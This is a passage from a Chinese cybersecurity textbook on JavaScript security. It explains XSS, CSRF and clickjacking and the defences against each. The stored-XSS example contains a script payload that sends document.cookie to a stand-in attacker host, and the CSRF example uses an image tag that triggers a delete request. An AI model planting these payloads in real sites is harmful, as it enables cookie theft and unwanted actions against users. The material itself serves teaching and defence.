- 網(wǎng)絡(luò)空間安全技術(shù)
- 王順主編
- 1022字
- 2021-10-27 15:13:39
2.2 JavaScript技術(shù)
JavaScript是由Netscape公司開發(fā)的一種腳本語言,是目前因特網(wǎng)上最流行的腳本語言之一,并且可在目前主要的瀏覽器中運(yùn)行,其目的是擴(kuò)展基本的HTML功能,處理Web網(wǎng)頁表單信息,為Web網(wǎng)頁增加動(dòng)態(tài)效果。
1.JavaScript基礎(chǔ)
在客戶端的應(yīng)用中很難將JavaScript程序和HTML文檔分開,JavaScript代碼總是和HTML一起使用的,它的各種對象都有各自的HTML標(biāo)記,當(dāng)HTML文檔在瀏覽器中被打開時(shí),JavaScript代碼才被執(zhí)行。JavaScript代碼使用HTML標(biāo)記<script></script>嵌入HTML文檔中。它擴(kuò)展了標(biāo)準(zhǔn)的HTML,為HTML標(biāo)記增加了事件,通過事件驅(qū)動(dòng)來執(zhí)行JavaScript代碼。
2.JavaScript安全攻擊
(1)跨站腳本攻擊
通過插入惡意的HTML和JavaScript腳本來攻擊網(wǎng)站,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其他網(wǎng)站。常見的XSS有3種。
● 基于文檔對象模型(Document Object Model,DOM)的XSS:DOM的樹形結(jié)構(gòu)會(huì)動(dòng)態(tài)地將惡意代碼嵌入頁面、框架、程序或API而實(shí)現(xiàn)的跨站攻擊。例如,如果程序編碼<h1><?php echo $title ?></h1>,用于接收用戶輸入的標(biāo)題,而用戶輸入的$title為'<script>惡意JS攻擊代碼</script>',這時(shí)經(jīng)過DOM解析就會(huì)出現(xiàn)XSS攻擊。
● 反射式XSS(非持久性XSS):惡意腳本未經(jīng)轉(zhuǎn)義被直接輸入并作為HTML輸出的一部分,惡意腳本不在后臺(tái)存儲(chǔ),直接在前端瀏覽器被執(zhí)行。例如,用戶在搜索框輸入<script>惡意JS代碼</script>。
● 存儲(chǔ)式XSS(持久性XSS):惡意腳本被后臺(tái)存儲(chǔ),后期被其他用戶或管理員單擊展示從而實(shí)現(xiàn)攻擊,危害面更廣。例如,某旅行日記網(wǎng)站(blog.com)可以寫日記,攻擊者登錄后在blog.com中發(fā)布了一篇文章,文章中包含了惡意代碼,<script>window.open("www.attack.com?param="+document.cookie)</script>,如果普通用戶訪問日記網(wǎng)站看到這篇文章,用戶的Cookie信息就會(huì)發(fā)送到攻擊者預(yù)設(shè)的服務(wù)器上。
(2)跨站請求偽造(Cross Site Request Forgery,CSRF)
攻擊者可以偽造某個(gè)請求的所有參數(shù),在B站發(fā)起一個(gè)屬于A站的請求,這就是跨站請求。例如,GET http://a.com/item/delete?id=1,客戶登陸了A站,然后又去訪問B站,在B站請求了一張圖片<img src="http://a.com/item/delete?id=1"/>,這時(shí)受害者在不知道的情況下發(fā)起了一個(gè)刪除請求。
(3)點(diǎn)擊劫持(ClickJacking)
惡意攻擊者用一個(gè)透明的iframe覆蓋在網(wǎng)頁上,欺騙客戶在這個(gè)iframe上操作。
3.JavaScript安全防護(hù)
(1)對于XSS攻擊的防護(hù)
不要信任任何用戶輸入,對輸入的具體特殊字符、長度和類型等的數(shù)據(jù)進(jìn)行過濾處理,使用輸入白名單控制。
對輸出的數(shù)據(jù)使用HTML編碼,對一些字符做轉(zhuǎn)義處理,所有HTML和XML中輸出的數(shù)據(jù),都需要做HTML轉(zhuǎn)義處理(Html Escape)。
為Cookie設(shè)置httponly和secure屬性,避免攻擊者通過document.cookie盜取合法用戶的Cookie。
(2)對于CSRF攻擊的防護(hù)
每一個(gè)請求都加一個(gè)變動(dòng)的、不可預(yù)先知道的CSRFToken,服務(wù)器端對每個(gè)請求都驗(yàn)證CSRFToken。
(3)對于點(diǎn)擊劫持的防護(hù)
在HTTP頭,X-Frame-Options根據(jù)實(shí)際需要,設(shè)置正確的值,設(shè)置如下。
● DENY:禁止任何頁面的frame加載。
● SAMEORIGIN:只允許同源頁面的frame加載。
● ALLOW-FROM:可定義允許frame加載的頁面地址。
- 網(wǎng)絡(luò)安全與管理
- 白帽子講Web安全(紀(jì)念版)
- CSO進(jìn)階之路:從安全工程師到首席安全官
- 網(wǎng)絡(luò)安全應(yīng)急管理與技術(shù)實(shí)踐
- Enterprise Cloud Security and Governance
- Spring Security(Third Edition)
- 隱私計(jì)算
- 從實(shí)踐中學(xué)習(xí)Kali Linux滲透測試
- 信息安全等級保護(hù)測評與整改指導(dǎo)手冊
- End to End GUI Development with Qt5
- Kali Linux高級滲透測試(原書第4版)
- 網(wǎng)絡(luò)空間安全導(dǎo)論
- 交換機(jī)·路由器·防火墻(第2版)
- 云計(jì)算安全:關(guān)鍵技術(shù)、原理及應(yīng)用
- Metasploit 5.0 for Beginners